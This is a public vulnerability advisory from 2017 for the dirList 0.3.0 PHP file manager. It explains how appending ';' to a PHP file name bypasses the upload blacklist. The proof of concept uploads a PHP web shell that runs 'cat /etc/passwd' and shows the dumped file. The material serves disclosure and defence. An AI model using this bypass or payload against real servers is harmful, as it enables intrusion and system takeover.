dirList 0.3.0 File Upload / Command Execution
Posted on 17 January 2017
[+]################################################################################################### [+] Credits / Discovery: John Page [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/DIRLIST-FILE-UPLOAD-BYPASS-CMD-EXEC.txt [+] ISR: Apparition [+]################################################################################################## Vendor: =============== sourceforge.net Product: =============== dirList v0.3.0 Download: =========== sourceforge.net/projects/dir-list/ dirLIST displays files and folders in a given HTTP/FTP directory. It has a wonderful interface with choice of Thumbnail or List view along with gorgeous icons for different file types. Includes a sleek gallery, web based mp3 player, file admin + more. Vulnerability Type: ====================================== Bypass File Upload / CMD Execution CVE Reference: =============== N/A Security Issue: =============== When uploading "Banned" file types dirLIST replies with a base64 encoded error message. e.g. dXBsb2FkX2Jhbm5lZA== Decoded it reads, "upload_banned". Banned files are setup in the "config.php" file. $banned_file_types = array('.php', '.php3', '.php4', '.php5', '.htaccess', '.htpasswd', '.asp', '.aspx'); When upload a file, the check is made for banned file types. In "process_upload.php" on Line: 47 if(in_array(strtolower(strrchr($file_name, ".")), $banned_file_types)) { header("Location: ../index.php?folder=".$_POST['folder']."&err=".base64_encode("upload_banned")); exit; } However, appending a semicolon ";" to end of our PHP file will skirt the security check allowing us to upload a banned PHP file type, and our PHP file will be executed by server when accessed later. Apache manual: Files can have more than one extension, and the order of the extensions is normally irrelevant. For example, if the file welcome.html.fr maps onto content type text/html and language French then the file welcome.fr.html will map onto exactly the same information. etc.. Therefore, a file named file.php.1, can be interpreted as a PHP file and be executed on server. This usually works if the last extension is not specified in the list of mime-types known to the web server. Developers are usually unaware of the "Apache" feature to process files with some odd unexpected extension like PHP.1, PHP.; and such. Tested on: Windows 7 Bitnami wampstack-5.6.29-0. Apache/2.4.23 (Win64) Linux XAMPP 5.6.8-0 Apache/2.4.12 (Unix) Exploit/POC: ============ 1) Create a banned PHP file to upload named. "TEST.php.;" 2) Upload to server using dirLIST. 3) Done! <?php echo passthru('cat /etc/passwd'); ?> Result: root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin avahi:x:70:70:Avahi daemon:/:/sbin/nologin etc... Network Access: =============== Remote Impact: ================= System Takeover Severity: =========== High Disclosure Timeline: ===================== Vendor Notification: No Replies January 17, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c) HYP3RLINX Hyp3rlinX (Apparition)
